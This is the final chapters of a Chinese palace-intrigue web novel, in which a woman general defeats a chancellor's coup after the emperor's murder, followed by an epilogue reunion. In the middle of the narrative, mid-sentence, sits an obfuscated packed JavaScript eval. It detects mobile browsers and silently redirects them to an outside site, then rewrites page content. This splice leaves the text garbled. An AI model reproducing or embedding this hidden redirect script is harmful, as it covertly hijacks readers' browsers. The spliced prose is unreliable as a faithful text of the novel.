她忍不住浑身打颤,方才意识到自己杀了人,有点想哭,可是看见比她小了一岁的“小屁孩”宋云还在一边,尚没装下社稷江山的孩童心灵却生出了一种超乎寻常的强烈自尊,不肯在逞了一回能后丢脸。 直到白兰茵膝行上前,仿佛失而复得般狠狠抱住了她,韩珺在白兰茵颤抖的怀抱中,终于“哇”地一声,哭得毫无形象。 “娘......” 殿外涌出一阵零碎的脚步声,急促中晃动的灯火照得宋云打了个激灵,白兰茵死死抱住韩珺,才挣扎着起身欲逃,又在皇后娘娘带着哭腔的呼叫声中如蒙大赦,瘫软下来。 “母后!母后!” 宋云此时却不哭了,一张嘴满是黏糊糊的血,失声喊了起来,韩珺手中的匕首“锵”一声掉落,整个人缩在了白兰茵怀里。 皇后随着韩濯破门而入,本来听见宋云没事松了口气,可看见眼前这景象差点吓出心疾来,地上两具双目圆睁的尸体,抱在一处的白兰茵母女,再加一个好像刚吃了死人满嘴是血的宋云,哪怕是当初永王夺位也没给她这样大的冲击,她反应过来后先把宋云拽进怀里细细检查了一番,眼泪流了满腮。 “殿下年纪还小,牙还会再长的,止了血便好,娘娘不必过于担忧。” 这声音温和又冷静,皇后抬头,见正是方才一路跟来的宋青瑛。 这人虽作了宦官打扮,但周身气度及其宁静,倒像药铺里抓药的小郎中,她莫名地也平静了下来,接过宋青瑛手中的茶盏,欲给宋云喂水漱口,可临了却动作一停,没教宋云沾唇。 宋青瑛了然,也没计较皇后娘娘理所应当的不信任,十分体贴地转向韩濯:“清之。” 韩濯刚扶起白兰茵,朝宋青瑛点了点头,将人拉到身边,对皇后道:“娘娘,王公辅提前动手,是我们低估了他,就连圣上身边的陈公公都被买通,我们计划泄露着实是情理之中的事,当下之要,还是要赶去陛下那边。” “是,是了......”皇后深呼了一口气说道。韩濯迟疑片刻,仍小心道:“娘娘,王公辅既然已下手欲害殿下,那就说明陛下那边......娘娘您还是做好准备。” 皇后周身一抖。 是了,既然王公辅已知自己的作为泄露,如此心急地行动,甚至连极大可能成为储君的宋云都分出神来暗杀,那宋乐湛估计已经凶多吉少。 王皇后突然后悔起来,既与韩濯结盟,知晓了王公辅欲对宋乐湛不利,就应当毫不瞻前顾后地把淑妃揪出来,纵使宋乐湛已经不信她,纵使...... “娘娘,若是当初我们贸然行动,没有证据,王公辅只会自己全身而退。事已至此,莫计较一时之失,亡羊补牢为时未晚,请娘娘早作定夺。”宋青瑛缓缓道。 他现在倒是镇定。 韩濯看向宋青瑛,不知想到了什么,竟然幅度很小地笑了笑。 宋青瑛见状微微一愣。 好在皇后没瞧见韩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15346152|156385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 濯的表情,不然定会引出什么误会,她平复了下呼气,又成了平日里稳成持重的皇后娘娘:“去长生殿。韩将军,你......” “臣脚程快些,先行一步。” 仓促间她看了一眼宋青瑛,似乎开口想要交代什么。 宋青瑛点了点头,韩濯看明白了,意思是淑妃和其他的要紧事他会摆平。 韩濯笑了一下,转身欲走,却被宋青瑛叫住了。 “清之!” 她回身驻足,就见宋青瑛朝她走了过来,把手中的弓和箭筒递给她:“这个带着。” 韩濯接了过来,随后旁若无人在他因着奔波而有些干裂的唇上迅速亲了一下,没给宋青瑛留下反应时间,飞鸟一般翻上了屋檐。 他心神恍了一瞬,随即轻轻咳了一下,转身对神色各异的众人道:“我们这些人武艺不顶用,当务之急是赶快与宫外联系上,淑妃那边......” “别去!” 宋青瑛正说着,却被一阵堪称凄厉的尖叫声打断。 当他们朝屋外一同看去时,几乎全都惊呆了。 以宁儿为首的几个女官气喘吁吁地跑了过来,一个憋气憋得满面通红的姑娘肩上扛着个瘦得像麻秆般的男人,正是姚申,但见他神色痛苦脸色青绿,看上去要被颠吐了。 而跑在最前面的竟然是已怀胎九月的淑妃,有些笨重的肚子教人看着胆战心惊,她一面跑一面喊道:“不能去长生殿!有埋伏!” 即便有心理准备,宋青瑛仍然周身一抖,险些站不稳。 “阿瑛,你要去哪?” 白兰茵见宋青瑛丢了魂一般地朝殿外走,一脸焦急地问道。 宋青瑛恍若未闻,仍不管不顾地往外走,白兰茵一急,将人拉住了:“你就算去了能当什么事?阿濯一人若是搞不定,加一个你更加搞不定,你......” “嫂嫂。”宋青瑛才回过神来:“我得去宫外联系人手,不然她就白白冒险了。您放心,我不是冲动的莽汉,我相信阿濯搞得定,若是万一有意外......” 白兰茵几乎是有些震惊地看着宋青瑛,他在这种情况下竟然笑了起来:“就要劳烦嫂嫂您在族谱里把我和阿濯写在一处了。” 白兰茵松了手。 宋青瑛也和韩濯一样,悄无声息地迅速消失在了暮色中,他二人先后离去,似乎一切还很平静,丝毫看不出这深深宫闱中,正在发生一场巨变。 “你怎么了?喂!” 身后突然传来大大小小的惊呼,白兰茵回头望去,只见几个宫女围成一团,王皇后扶着淑妃,面色惊慌中带了些茫然。 王皇后将几乎要瘫软的人扶起来,却摸到她下摆一片潮湿:“你!” 淑妃只觉腹中作怪的隐痛越发明晰起来,终于承受不住,周身软了下去:“娘娘,臣妾怕是又要添乱了,她早来了一个月,若是我没撑下去,就算以死谢罪罢......” “什么以死谢罪!”皇后怒道:“一码归一码,宁儿,秋霜!快来搭把手,阿茵!” 白兰茵放下方才牵挂着的两人,扶住了淑妃的另一边肩膀。 “你最好给我撑住了。”王皇后咬牙道:“我和你之间的账,要等一切尘埃落定之后一笔笔算。” 79. 千山万山 如韩濯意料之中,长生殿一反常态,既无宫女又无侍卫,偌大宫殿凄清空旷之至。 她伏在琉璃瓦上,心中却异常平静。 与五年前何其相似,那时她便曾孤身闯宫,为了挣条性命草草卷进一场纷争,如今她再次重蹈覆辙。 最后一次了,她想。 纵使异常的寂静无疑意味着危险,她也毫不犹豫地翻身而下进入殿内。 只见宋乐湛伏在案上,垂首看不清脸,韩濯并不需要做什么心理准备,她能做的只有确认当今皇帝意料中的死亡,她轻巧地上前,利索地翻开了此刻同常人无异的身体。 无一息尚存,唇色青紫,死得很干脆。 韩濯深深吸了一口气,突然耳畔风动,她迅速闪开,抽刀挡下一枚金钱镖。 殿外忽然从暗处涌现出潮水般的人来,皆作宦官或侍卫打扮,韩濯仔细数来,只有十几人左右。 她并没废话,拉弓搭箭三箭齐发,将来者挡在殿外,几人齐声叫道:“皇上遇刺,速擒逆党!” 韩濯看了一眼自己身上的宫女衣装,忍不住觉得自己这“逆党”造型实在有些清奇,她再次挽弓,射杀了一个方才孜孜不倦朝她甩暗器的人:“王公辅那厮在哪?” 王公辅不在,她心里咯噔一声,这几人并不难解决,可是王公辅为什么藏头露尾?宋乐湛既然已被鸩杀,宋云的情况大概率也没传到他耳朵里,还有什么事情能教他不在场? 她一边与人拉开距离方便拉弓,奔走中细想:他还需要什么? 可这些草台班子般的“侍卫”的确人多,她没两下便无法再展弓,于是抽出刀切瓜砍菜一般料理了几个,拽起一个宦官打扮的瘦小男人替自己挡刀,五年来战场的磨砺,这帮水货哪里抵得过?很快便只剩了一个活口,韩濯抬脚一踢,把人生生踹出一口血来,等他再抬头,血迹未干的刀锋抵上了他的脖颈。 “你还没看出来吗?”韩濯冷冷道:“他就是叫你们来送死的,掩人耳目拖延时间,洗脱戕害圣上的罪名,你若是肯说明王公辅的去向,我可以留你......” “我说!我说!”还未等韩濯循循善诱完,那人便颇为干脆地举起手:“右相......不,王公辅确实不在这里,他早就走了......” 韩濯一挑眉,这么干脆利落且毫无谄媚求饶之态的倒戈实在罕见:“那他在哪?” “具体在哪我们也不知,但他似乎在找什么东西,好像和淑妃有关......” 淑妃? 他在找什么? 突然间一个念头闪过,韩濯十分敏锐地捕捉到了。 他杀了宋乐湛,又暗杀不听自己控制的皇后之子宋云,那他计划中的傀儡皇帝谁能名正言顺地去做? 大概只能去押淑妃未出世的孩子了。 她心中有了数,却也涌上一阵急迫,眼下整个皇宫,能与王公辅打上一打的只有自己一个,纵使王公辅能找来的武人学艺不精,但光靠数量也够自己喝一壶,如果宋青瑛这救兵搬得不及时可就完了大蛋。 她最后拿刀刃拍了拍此人的脸:“喂,你们这些人什么来头?” “......跑江湖的。” 韩濯放下心满意了,重新背上弓再次翻上了房梁,也没管宋乐湛现下仰躺在地姿势惬意的尸身。 “这是什么?” “将军当初万寿节送的贺礼,皇上不怎么感兴趣,教我收着了,据说威力无穷,我们谁都没当真,现在死马当活马医,你看看当不当用?” 白兰茵扛了一把不轻的火枪一脸懵,可那边皇后却不再说话,抓紧去应付不时发出痛呼的淑妃。 现在她们无处可去,只能等着王公辅找来,她举起枪比划了一阵,摸索着扣了一下,轰地一声碎了门槛,白兰茵吓了一大跳,被后坐力弹得摔了个屁股墩,火枪掉落,枪口还在冒黑烟。 这声响太大,屋内的人全都发出一声惊叫,淑妃痛呼一声,又把皇后拽了回去。 “姚贞你竟然咬本宫!啊啊啊啊啊啊啊!”一片混乱中,皇后随着淑妃一起大叫。 “你咬可以,还没到你使劲的时候,你先忍忍,秋霜!帕子给我。” “娘娘......”白兰茵道。 “本宫现在忙着接生,你......” “他们来了!”白兰茵打断道。 屋内众人全都愣住了,门口的宫女朝外瞧去,连淑妃都徒劳地直起身子,被皇后按回去了。 门口的姚申现在没人管,他方才吐了一回,现下才缓过来,听闻危机将至,只好一下下像长虫一样蹭过去,沙哑着嗓子对白兰茵道:“如何了?” 白兰茵没好气道:“自己看!” 方才屋内一片乱七八糟的喧哗,教人没听清门外的动静,姚申够不到白兰茵用手指戳出的洞,只能趴着门缝瞧。但见数十个身着玄衣或扮作宦官之人,手中皆带刀枪剑戟,簇拥其中的,正是王公辅。 “二位娘娘受惊了,皇上已被歹人戕害,现已伏诛,臣请两位娘娘移驾。” 白兰茵有些不确定地看向皇后,周围一众宫女吓得拼命朝屋内挤,被皇后一声喝止。 王皇后拉住了淑妃的手,后者刚刚熬过一阵阵痛,浑身全是粘腻的冷汗,此刻被一双同样冰凉的手紧紧拉住,却在痛苦欲死的间隙中微微怔愣。 王皇后大声道:“你害死了圣上,又害死我的云儿,谁才是佞臣奸相,无耻歹人,你应当最清楚!” 宋云还挤在房间东侧的角落,听闻自己莫名死掉,张开缺了门牙的嘴想出声,却被一直沉默的韩珺捂住了嘴,她手劲儿对于幼童来说有点大,隔着肉抵上牙床,宋云忍不住痛出了眼泪。 “别作声!”王皇后轻轻低声道:“他若是知道云儿没死,定会不顾一切闯进来杀了我们这些人,你最好配合些,不然最后也是落得个去母留子的命运,你是聪明人,要拎得清。” 淑妃眼眶中泪痕未干,阵痛再次袭来,她勉力压抑着痛呼,又起了一身冷汗。 “皇后娘娘,目下屋内只有一众死伤妇孺,不堪一击,臣此番好言相劝,不忍动干戈,您最是识时务,想必银应当明白该如何做。” 皇后大声嘲弄道:“你这贼子,是不忍动干戈,还是不敢?” 王公辅肉眼可见地一顿:“此话怎讲?” 皇后道:“淑妃现下在我手里,没了她腹中皇嗣,你该怎么名正言顺地摄政?况且你闹这么大动静,不就是为了玉玺?” 淑妃疼得一哆嗦,却分出神惊疑道:“你知道玉玺在我这儿?” “废话,”皇后骂道:“我是瞎吗?玉玺现在就在你腰边儿,刚才早就滚出来了。” 淑妃:...... 她又熬过了一阵疼,开口道:“娘娘,皇上可是我亲手......” 皇后面无表情地捂住了她的嘴:“闭嘴。”随后在她耳畔道:“这儿这么多宫人,你不要命了么?” 今日见到的皇后实在是和平日判若两人,淑妃见惯了她威严正经的模样,仿佛就是照着“母仪天下”四个字长得,现在突遇劫难,“皇后”这个物件底下露出一个活生生的人来,她仔细打量起来,其实皇后生了一张称得上灵动的脸,只是从前掩盖在铅粉胭脂下看不出来罢了。 淑妃有些面色复杂地看着她,最后缓缓问了一句:“你不该杀了我么?为什么?” 皇后帮她把枕头的位置调了调:“账在谁身上,我分得清,你若是真想赎罪,这次就好好活下来,日后在我宫中当个杂使宫女低声下气服侍我梳头洗脸。” “还有,别忍着,叫出声。” 淑妃没明白什么意思,却又疼起来,几乎恨不得皇后现在直接把自己杀了才好。 “别忍着!” 这次痛感比以往都要剧烈,淑妃痛苦地嘶喊出声,门外王公辅闻之,也是面色一变。 他转头朝一人使了个眼色,那人了然,极轻极缓地走上前去,白兰茵从孔洞中瞧见此状,来不及细想,便架枪抵在窗纸上,“砰”地来了一发。 她完全是盲打,也不知道怎么对准,胡乱比划一气,自然是没打中那偷偷潜进的人,反而射中了王公辅前面那个玄衣人的腿,激起一阵大叫。 “谁敢上前!”白兰茵大声叫道,由于过于紧张,喊出口都破了音。 白兰茵慌张,门外众人更慌张,他们没见过这种鬼魅般的武器,又打在了王公辅前面的人腿上,很有威慑的意思,白兰茵瞎猫碰死耗子,教人还以为她是个百步穿杨的高手。 就在这时,“嗖”的一声三支羽箭破空而来,洞穿了三个人的脖颈。 王公辅朝上头看去,但见韩濯一身宫人的衣裙立于屋脊之上,裙角染血,袖口被不知哪里的破布扎了起来,手中弓弦仍在震颤。 “王公辅。” “韩姑娘。”王公辅的眼睛眯了起来:“好箭法,可惜,你只剩两支箭。” “你开什么玩笑?”韩濯笑了起来,随后了然:“当初永王叛乱,长街之上你没见过我使箭,也是可惜。” 王公辅的笑容落了下来,他看着韩濯架弓,心跳徒然快了起来。 “另外,你该叫我一声将军。” 一支箭划过幽沉的夜空。 西街上灯火通明。 并非年节,也不是什么热闹时候,可几乎半个朝堂上的文臣倾巢而出,杂乱的脚步几乎要把石板踏穿,解忧居上,雪花一般的檄文从楼上洒下。 群臣中为首的正是崔子盛。 “奸佞王氏,蒙蔽圣聪,戕害君上,其罪当诛!” 王公辅身上负了一个头上插箭的死人,方才着实凶险,亏得一个死士的暗器才叫韩濯的箭晚偏了一些,韩濯也不急,她扫了一遍底下的人,确认身上带了暗器的那个刚刚咽了气,便又拉起弓来。 便在此时,一个玄衣人闯进院内,对王公辅附耳说了什么,后者的脸色霎时阴郁起来。 他看着韩濯,眼中的杀意几欲凝实。 “闯进去,”王公辅道:“不留活口。” 韩濯的羽箭飞了出去,这次却因心急却没有命中,她飞身而下,抽出刀跃至门前:“我看看你们怎么不留活口!屋里的给我把门堵死了!” 白兰茵惊叫了一声:“阿濯!” 韩濯向后微微偏头,算作回应:“三十个人都不到,喂不饱我的刀呢!” 喊杀声震耳欲聋,刀刃相接之音不绝,白兰茵抹了一把脸大声吼道:“娘娘那边用不着的都给我过来帮忙!” 数道血痕“噗呲”浇在了纸窗上,白兰茵一边抵着门给拖着沉重柜子的两个宫女让路一边急问道:“阿濯?你伤了么?” “怎会!” 白兰茵在短兵相接的铿锵声中得到了一句回答,微微放下了心,最底下的门缝滑进一根手指,她 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铁器的铿锵不绝于耳,手中的寒刃划开犹如满月,她数次与死亡擦肩,可她行动得过快,几个瞬息之后,王公辅被长刀抵上了脖颈。 “谁敢上前!” 不远处再一次响起脚步声,声音不同于江湖人火并时的杂乱,殿外闪耀着不断抖动的星火。 “御林军在此,逆党速速就擒!” 原本乱成一团的众人面面相觑,谁也没动,殿门豁然大开,为首的吴钩带领一群着身披鳞甲的军士闯了进来,与此同时,屋内传来一阵似乎要将天光破晓的婴啼。 “哎呦,是个小公主!” 一群小宫女兴奋地叽叽喳喳凑在淑妃身边,皇后擦了把汗,对淑妃道:“休息吧,剩下的都不消你忙。” 淑妃疲惫地缓缓闭眼,却轻轻道:“熹。” “什么?”皇后没有听清,凑近了问道。 “她的名字就该叫熹,她生在破晓之时。” 淑妃沉沉睡下了,没有人去管滚落在一旁的传国玉玺,全都围在新生的小公主身边,姚申泪流满面,哭得像皱了皮的青蛙。 宋青瑛从一众御林军中步出,朝韩濯走来,她已经放下了刀,也没管被带走的王公辅脸上有什么或坦然或怨毒的表情,她耳边的鬓角被汗打湿,好好的衣裳没了一支袖子,半边是血。 韩濯瞧着宋青瑛,微微笑了起来。 “哪来这样标志的小宦官?” 宋青瑛扯了扯自己的袖子,笑着故作羞赧。 “皇后娘娘府上,可是不准对食的,姐姐别说笑,我会当真的。” 尾声—— 是年六月初八,帝崩,群臣奉皇长子宋云即位,十年五岁,改元吉亨,幼帝冲龄践祚,太后王氏临朝称制,诏令皆出后宫。 吉亨元年八月,雁关以北诸部联军引骑五万,南犯雁关,程飞勒兵固守,杀伤甚重,太后欲请韩氏女濯复挂帅,统兵御敌。群臣谏阻,庭议汹汹。太后怒,斥之坐论庙堂,顽愚僵腐,不知边庭疾苦,强命濯挂帅北征。 濯联阴山王张大成,前后夹攻,困虏于雁门,濯复遣兵士夜焚其辎重,困虏旬日,濯趁势溃之,迫虏至漠北。 十年后。 官道之上花团锦簇,烟花三月,扬州正是好时节,客驿的老板将木桌板凳挨个搬了出来,又将昨晚的灯收了回去。 这种琉璃灯近年来在百姓家中十分流行,灯芯由竹烧制,外添琉璃罩。当然,如今琉璃已经不是什么稀罕之物,寻常百姓用的得起。何况这琉璃灯只需手摇几下便能维持一阶段光亮,十分神奇,兼之价钱公道,不需添油换蜡,买一台能省下不少灯油钱。 老板在春风中伸展了几下胳膊,迎头瞧见不远处一个红衣姑娘骑着马走来,她生得英气又蓬勃,比郊野的花还绚烂些,老板忍不住多瞧了几眼。 “老伯,”那姑娘在门前停了下来:“扬州城是走东边这条路?” 那老板先是愣了一下,随后笑得很开怀:“是啊,姑娘,要去扬州看花?” 红衣姑娘很爽朗地笑了起来:“是,是看花,也是回家。” 她腰间系着一把看着便价格不菲的刀,老板却并不觉得危险,笑呵呵挥手与她作别。 春光烂漫,韩濯心情正好,于是干脆松了绳信马由缰,嘴里哼着小曲儿沿路观花,路转溪边,杏花树下站了一个俊俏白衣公子,对她微微一笑。 韩濯微愣,随后笑道:“你不是在城中等我么?怎么来这儿堵人?” 宋青瑛微微颔首,把手中折的一枝杏花递过去:“唔,辗转反侧几日,总觉得早点见到你心里才踏实。” 韩濯拉住了他的手,将他拽上马去,马儿突觉重量增加,不满地喷了个响鼻。 “走吧,我们同回。” “离临塘没有多少路了,好好珍惜才是。” 宋青瑛搂住了她的腰,轻轻笑道:“回了家,又不是再也不出来,哪里风光好,我们去哪出赏玩便是。再说了,万一珺儿在雁关耐不住寂寞,或者四境之内再出了事太后不准你卸甲......” 韩濯佯怒:“你就不能对未来有点好的展望?” “我的错。” 韩濯又笑了起来,管他之后发生什么事,还是不要杞人忧天的好。 从此之后,匹马双行,千山万山。 -完-